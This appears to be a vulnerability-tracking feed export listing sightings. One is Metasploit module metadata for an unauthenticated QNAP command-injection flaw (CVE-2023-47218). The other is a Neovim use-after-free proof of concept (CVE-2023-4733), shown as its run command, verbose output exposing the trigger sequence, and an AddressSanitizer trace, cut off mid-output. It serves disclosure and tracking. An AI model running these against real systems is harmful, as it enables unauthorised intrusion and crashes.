https://vulnerability.circl.lu/sightings/feed 2026-09-17T10:26:47.055051+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/dad6883c-8e3e-4d03-8b00-175de7f5108e/export 2026-09-17T10:26:47.073340+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "dad6883c-8e3e-4d03-8b00-175de7f5108e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/qnap_qts_rce_cve_2023_47218.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"sfewer-r7\", \"Spencer McIntyre\", \"jheysel-r7\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and\\n QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage\\n (NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices.\\n\\n The vulnerable endpoint is the quick.cgi component, exposed by the device's web based administration feature.\\n The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used\\n during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully\\n initialized, the quick.cgi component is disabled on the system.\\n\\n An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command\\n injection, allowing the attacker to execute arbitrary commands on the device.\", \"disclosure_date\": \"2024-02-13\", \"fullname\": \"exploit/linux/http/qnap_qts_rce_cve_2023_47218\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 13:20:20 +0000\", \"name\": \"QNAP QTS and QuTS Hero Unauthenticated Remote Code Execution in quick.cgi\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/qnap_qts_rce_cve_2023_47218.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/qnap_qts_rce_cve_2023_47218\", \"references\": [\"CVE-2023-47218\", \"URL-https://www.qnap.com/en/security-advisory/qsa-23-57\", \"URL-https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Default\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:53.541300Z"} 2026-09-08T06:48:53.541300+00:00 https://vulnerability.circl.lu/sighting/531aa876-d99a-4601-a175-e0f8f0765afd/export 2026-09-17T10:26:47.075525+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "531aa876-d99a-4601-a175-e0f8f0765afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4733", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/58c6c1f67245ab9faa45606bfd51dde5", "content": "Command:\n./nvim-0.9.1 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nExecuting: aunmenu *\n\nExecuting: vnoremenu PopUp.Cut \"+x\n\nExecuting: vnoremenu PopUp.Copy \"+y\n\nExecuting: anoremenu PopUp.Paste \"+gP\n\nExecuting: vnoremenu PopUp.Paste \"+P\n\nExecuting: vnoremenu PopUp.Delete \"_x\n\nExecuting: nnoremenu PopUp.Select\\ All ggVG\n\nExecuting: vnoremenu PopUp.Select\\ All gg0oG$\n\nExecuting: inoremenu PopUp.Select\\ All VG\n\nExecuting: anoremenu PopUp.-1- \n\nExecuting: anoremenu PopUp.How-to\\ disable\\ mouse help disable-mouse\n\nExecuting: \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nExecuting: so CVE-2023-4733\n\nline 0: sourcing \"CVE-2023-4733\"\nline 1: ^B\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/CVE-2023-4733:\nline 1:\nE492: Not an editor command: ^B\nline 2: \n\nline 3: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\",ees^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\<90>^P^\\ej^P^L^P^P^P^P0^P^P(^M^P^P^X\n\nline 3:\nE488: Trailing characters: ^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\nline 4: o^P^EO,'\n\nline 4:\nE488: Trailing characters: ^P^EO,': o^P^EO,'\nline 5: b\n\nline 5:\nE94: No matching buffer for \nline 6: ^PN,'\n\nline 6:\nE492: Not an editor command: ^PN,'\nline 7: \n\nline 8: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\|\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSCd K t0]<80> \n:a\n\nline 9: ^Po^Sd\n\nline 9:\nE492: Not an editor command: ^Po^Sd\nline 10: nFK\n\nline 10:\nE492: Not an editor command: nFK\nline 11: t<8b>^Dl<9c>ll\n\nline 11:\nE16: Invalid range\nline 12: d K2\n\nline 13: d ^?\n\nline 13:\nE488: Trailing characters: ^?: d ^?\nline 14: d K\n\nline 15: t0\n\nline 16: n(Q\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 16: unlet! b:keymap_name\n\nline 17: t0H\n\nline 18: d ^?2\n\nline 18:\nE488: Trailing characters: ^?2: d ^?2\nline 19: eGere ln\n\nline 19:\nE492: Not an editor command: eGere ln\nline 20: ln.lhe S$ ^_ K\n\nline 21: t0\n\nline 22: }FKs<\n\nline 22:\nE492: Not an editor command: }FKs<\nline 23: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline 23:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 24: -\n\nline 25: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 26: W\n\nline 26:\nE492: Not an editor command: W\nline 27: geeeeeeeeeeeee\n\nline 27:\nE492: Not an editor command: geeeeeeeeeeeee\nline 28: d<8b>\n\nline 28:\nE488: Trailing characters: <8b>: d<8b>\nline 29: @^P\n\nline 29:\nE354: Invalid register name: ''\nline 30: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 30: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 31: ^P\n\nline 31:\nE492: Not an editor command: ^P\nline 32: u\n\nAlready at oldest change\nline 33: <90>\n\nline 33:\nE492: Not an editor command: <90>\nline 34: <80> @d\n\nline 34:\nE492: Not an editor command: <80> @d\nline 35: uc\\^A\n\nline 35:\nE488: Trailing characters: c\\^A: uc\\^A\nline 36: g<9a>\n\nline 36:\nE35: No previous regular expression\nE476: Invalid command\nline 37: r\n\nline 37:\nE484: Can't open file \nline 38: d<8b>2\n\nline 38:\nE488: Trailing characters: <8b>2: d<8b>2\nline 39: W K2d K\n\nline 39:\nE492: Not an editor command: W K2d K\nline 40: t0]\n\nline 41: ^Po\"d\n\nline 41:\nE492: Not an editor command: ^Po\"d\nline 42: <8f>FK\n\nline 42:\nE492: Not an editor command: <8f>FK\nline 43: <85><8b>^De<89>ll\n\nline 43:\nE492: Not an editor command: <85><8b>^De<89>ll\nline 44: d 92\n\nline 45: d ^?\n\nline 45:\nE488: Trailing characters: ^?: d ^?\nline 46: t\n\nline 46:\nE16: Invalid range\nline 47: nFK^Rd\n\nline 47:\nE492: Not an editor command: nFK^Rd\nline 48: t0]\n\nline 49: eere ln^P^P^X\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 49: unlet! b:keymap_name\n\nline 50: o^P^EO,'\n\nline 50:\nE488: Trailing characters: ^P^EO,': o^P^EO,'\nline 51: b\n\nline 51:\nE94: No matching buffer for \nline 52: ^PN,'\n\nline 52:\nE492: Not an editor command: ^PN,'\nline 53: \n\nline 54: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSSd K t0]<80> \n:a\n\nline 55: ^Po^Sd\n\nline 55:\nE492: Not an editor command: ^Po^Sd\nline 56: nFK\n\nline 56:\nE492: Not an editor command: nFK\nline 57: t<8b>^Dl<9c>ll\n\nline 57:\nE16: Invalid range\nline 58: d K2\n\nline 59: d ^?\n\nline 59:\nE488: Trailing characters: ^?: d ^?\nline 60: d K\n\nline 61: t0\n\nline 62: nFQ\n\nline 62:\nE492: Not an editor command: nFQ\nline 63: t0H\n\nline 64: d ^?2\n\nline 64:\nE488: Trailing characters: ^?2: d ^?2\nline 65: eGere ln\n\nline 65:\nE492: Not an editor command: eGere ln\nline 66: ln.lhe S$ ^_ K\n\nline 67: t0\n\nline 68: }FKs<\n\nline 68:\nE492: Not an editor command: }FKs<\nline 69: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline 69:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 70: -\n\nline 71: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 72: W\n\nline 72:\nE492: Not an editor command: W\nline 73: geeeeeeeeeeeee\n\nline 73:\nE492: Not an editor command: geeeeeeeeeeeee\nline 74: d<8b>\n\nline 74:\nE488: Trailing characters: <8b>: d<8b>\nline 75: @^P\n\nline 75:\nE354: Invalid register name: ''\nline 76: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 76: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 77: ^P\n\nline 77:\nE492: Not an editor command: ^P\nline 78: u\n\n2 fewer lines; before #1 0 seconds ago\nline 79: <90>\n\nline 79:\nE492: Not an editor command: <90>\nline 80: <80> @d\n\nline 80:\nE492: Not an editor command: <80> @d\nline 81: uc\\^A\n\nline 81:\nE488: Trailing characters: c\\^A: uc\\^A\nline 82: g<9a>\n\nline 82:\nE35: No previous regular expression\nE476: Invalid command\nline 83: r\n\nline 83:\nE484: Can't open file \nline 84: d<8b>2\n\nline 84:\nE488: Trailing characters: <8b>2: d<8b>2\nline 85: W K2d K\n\nline 85:\nE492: Not an editor command: W K2d K\nline 86: i0]\n\nline 86:\nE488: Trailing characters: 0]: i0]\nline 87: ^Po\"d\n\nline 87:\nE492: Not an editor command: ^Po\"d\nline 88: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\n\nline 88:\nE492: Not an editor command: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\nline 89: d 92\n\nline 90: d ^?\n\nline 90:\nE488: Trailing characters: ^?: d ^?\nline 91: _ K\n\nline 91:\nE492: Not an editor command: _ K\nline 92: t\n\nline 92:\nE16: Invalid range\nline 93: nFK^Rd\n\nline 93:\nE492: Not an editor command: nFK^Rd\nline 94: t0]\n\nline 95: eere ln\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 95: unlet! b:keymap_name\n\nline 96: ln.lhe $ ^_* ooooooooo : 2\n\nline 97: eGere ln\n\nline 97:\nE492: Not an editor command: eGere ln\nline 98: lnt0!\n\nline 98:\nE492: Not an editor command: lnt0!\nline 99: ^Po^Sd\n\nline 99:\nE492: Not an editor command: ^Po^Sd\nline 100: nFS\n\nline 100:\nE492: Not an editor command: nFS\nline 101: t\n\nline 101:\nE16: Invalid range\nline 102: t0] ^?\n\nline 103: ^Po K\n\nline 103:\nE492: Not an editor command: ^Po K\nline 104: t0] ^?\n\nline 105: nFK\n\nline 105:\nE492: Not an editor command: nFK\nline 106: t\n\nline 106:\nE16: Invalid range\nline 107: t0]\n\nline 108: ^Po\n\nline 108:\nE492: Not an editor command: ^Po\nline 109: norm:a^P^P^P^L^P^Q ^P^P^P<87>\n:a\n\nline 110: ggggggggggggggggggggg^Ngr\n\nline 110:\nE492: Not an editor command: ggggggggggggggggggggg^Ngr\nline 111: br^N(\n\nline 111:\nE488: Trailing characters: ^N(: br^N(\nline 112: ^\\elMl<84>\n\nline 112:\nE492: Not an editor command: ^\\elMl<84>\nline 113: new\n\nline 113: unlet! b:keymap_name\n\nline 114: autocmd ModeChanged v:* ++once close\n\nline 115: vnoremap x enew\n\nline 116: norm vx\nline 116: enew\n\nExecuting ModeChanged Autocommands for \"v:*\"\nautocommand close\n\nExecuting: close\n=================================================================\n==42398==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000003160 at pc 0x0000006e35f5 bp 0x7ffd6cdc86e0 sp 0x7ffd6cdc86d8\nREAD of size 4 at 0x626000003160 thread T0\n #0 0x6e35f4 in buflist_altfpos /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3063:46\n #1 0x9a51f1 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2232:9\n #2 0x9f731b in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5269:9\n #3 0x9fc5f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5199:3\n #4 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #5 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n #6 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #7 0xd5668e in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3238:18\n #8 0xd4b60e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1198:3\n #9 0xd4810c in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6638:9\n #10 0x9fa62a in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6496:5\n #11 0x9fa386 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6479:3\n #12 0xa0430b in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6411:7\n #13 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #14 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n #15 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #16 0xf44561 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2158:5\n #17 0xf41384 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1708:14\n #18 0xf410e0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1716:3\n #19 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #20 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n #21 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #22 0x9ccdd3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n #23 0x51f8b4 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1892:5\n #24 0x512acc in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:579:5\n #25 0x7f9b25a0d082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #26 0x467fad in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.1-ASAN+0x467fad)\n\n0x626000003160 is located 96 bytes inside of 10640-byte region [0x626000003100,0x626000005a90)\nfreed by thread T0 here:\n #0 0x4e046d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.1-ASAN+0x4e046d)\n #1 0xc9d3d9 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:134:3\n #2 0x6c523e in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1992:7\n #3 0x6c8fe6 in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1602:10\n #4 0x10669ff in may_trigger_modechanged /home/zzw/Desktop/neovim/build/../src/nvim/state.c:266:3\n #5 0xd3a347 in end_visual_mode /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1490:3\n #6 0xd3a554 in reset_VIsual /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1507:5\n #7 0x9a4e38 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2205:3\n #8 0x9f731b in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5269:9\n #9 0x9fc5f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5199:3\n #10 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #11 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n #12 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #13 0xd5668e in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3238:18\n #14 0xd4b60e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1198:3\n #15 0xd4810c in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6638:9\n #16 0x9fa62a in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6496:5\n #17 0x9fa386 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6479:3\n #18 0xa0430b in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6411:7\n #19 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #20 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n #21 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #22 0xf44561 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2158:5\n #23 0xf41384 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1708:14\n #24 0xf410e0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1716:3\n #25 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #26 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n #27 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #28 0x9ccdd3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n #29 0x51f8b4 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1892:5\n\npreviously allocated by thread T0 here:\n #0 0x4e0862 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.1-ASAN+0x4e0862)\n #1 0xc9d473 in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:148:15\n #2 0x1250bcb in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:5014:19\n #3 0x125ff96 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1306:12\n #4 0x1248449 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1071:10\n #5 0x9f5bc9 in ex_splitview /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4999:14\n #6 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #7 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n #8 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #9 0xf44561 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2158:5\n #10 0xf41384 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1708:14\n #11 0xf410e0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1716:3\n #12 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #13 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n #14 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #15 0x9ccdd3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n #16 0x51f8b4 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1892:5\n #17 0x512acc in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:579:5\n #18 0x7f9b25a0d082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3063:46 in buflist_altfpos\nShadow bytes around the buggy address:\n 0x0c4c7fff85d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c4c7fff85e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c4c7fff85f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c4c7fff8600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x0c4c7fff8620: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd\n 0x0c4c7fff8630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4c7fff8640: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4c7fff8650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4c7fff8660: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4c7fff8670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n Shadow gap: cc\n==42398==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so CVE-2023-4733\n\nline 0: sourcing \"CVE-2023-4733\"\nline 1: ^B\n\nError detected while processing /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/CVE-2023-4733:\nline 1:\nE492: Not an editor command: ^B\nline 2: \n\nline 3: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\",ees^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\<90>^P^\\ej^P^L^P^P^P^P0^P^P(^M^P^P^X\n\nline 3:\nE488: Trailing characters: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\nline 4: o^P^EO,'\n\nline 4:\nE488: Trailing characters: o^P^EO,'\nline 5: b\n\nline 5:\nE94: No matching buffer for \nline 6: ^PN,'\n\nline 6:\nE492: Not an editor command: ^PN,'\nline 7: \n\nline 8: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\|\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSCd K t0]<80> \n:a\n\nline 9: ^Po^Sd\n\nline 9:\nE492: Not an editor command: ^Po^Sd\nline 10: nFK\n\nline 10:\nE492: Not an editor command: nFK\nline 11: t<8b>^Dl<9c>ll\n\nline 11:\nE16: Invalid range\nline 12: d K2\n\nline 13: d ^?\n\nline 13:\nE488: Trailing characters: d ^?\nline 14: d K\n\nline 15: t0\n\nline 16: 